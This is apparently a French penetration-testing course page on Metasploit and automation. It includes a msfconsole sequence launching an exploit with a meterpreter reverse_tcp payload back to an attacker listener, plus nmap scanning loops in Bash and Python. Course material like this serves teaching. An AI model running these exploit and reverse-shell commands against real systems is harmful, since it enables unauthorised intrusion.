Semaine 9 — Automatisation et Metasploit
Objectifs pédagogiques
- Comprendre le modèle de Metasploit : exploit, payload, listener.
- Automatiser les étapes répétitives sans perdre la traçabilité.
- Utiliser Python et Bash pour ce que Metasploit ne fait pas bien.
Le modèle Metasploit en trois pièces
- Exploit : la logique qui déclenche la faille.
- Payload : ce que l'exploit fait exécuter (
meterpreter/reverse_tcppar exemple). - Listener : le service côté attaquant qui reçoit la connexion inverse.
msfconsole -q
use exploit/multi/http/example
set RHOSTS 10.0.0.15
set LHOST 10.0.0.5
set LPORT 4444
set PAYLOAD linux/x64/meterpreter/reverse_tcp
run
Ce qu'il faut avoir compris avant de lancer run :
- Où arrive la connexion inverse. Sur un réseau NAT, le trafic ne remonte pas magiquement.
- La compatibilité exploit ↔ payload :
linux/x64ne fonctionne pas sur une cible 32 bits. - L'empreinte laissée : Meterpreter est bruyant,
shell_reverse_tcpl'est moins.
Scripter proprement autour de Metasploit
# Boucle Bash contrôlée : idempotente, journalisée, jamais silencieuse.
for hote in $(cat cibles.txt); do
echo "[+] $(date -Is) test $hote"
nmap -sS -p 22,80,443 -oN "logs/$hote.nmap" "$hote"
done
# Python pour un traitement que Bash rendrait fragile.
import ipaddress, subprocess, json, pathlib
reseau = ipaddress.ip_network("10.0.0.0/28")
resultats = {}
for hote in map(str, reseau.hosts()):
process = subprocess.run(["nmap", "-sS", "-p", "22,80,443", "-oX", "-", hote],
capture_output=True, text=True, check=False)
resultats[hote] = process.stdout
pathlib.Path("logs/scan.json").write_text(json.dumps(resultats, indent=2))
Règles de traçabilité
- Un dossier par mission, versionné en Git privé (jamais sur GitHub public).
- Un fichier
commandes.mdoù vous copiez chaque commande avant de l'exécuter. - Les captures d'écran datées et numérotées.
TP2 — À remettre cette semaine
Livrable attendu : trois vulnérabilités du Top 10 exploitées sur une application vulnérable choisie en semaine 7, avec requête complète, capture d'écran, impact et remédiation. 8 à 12 pages.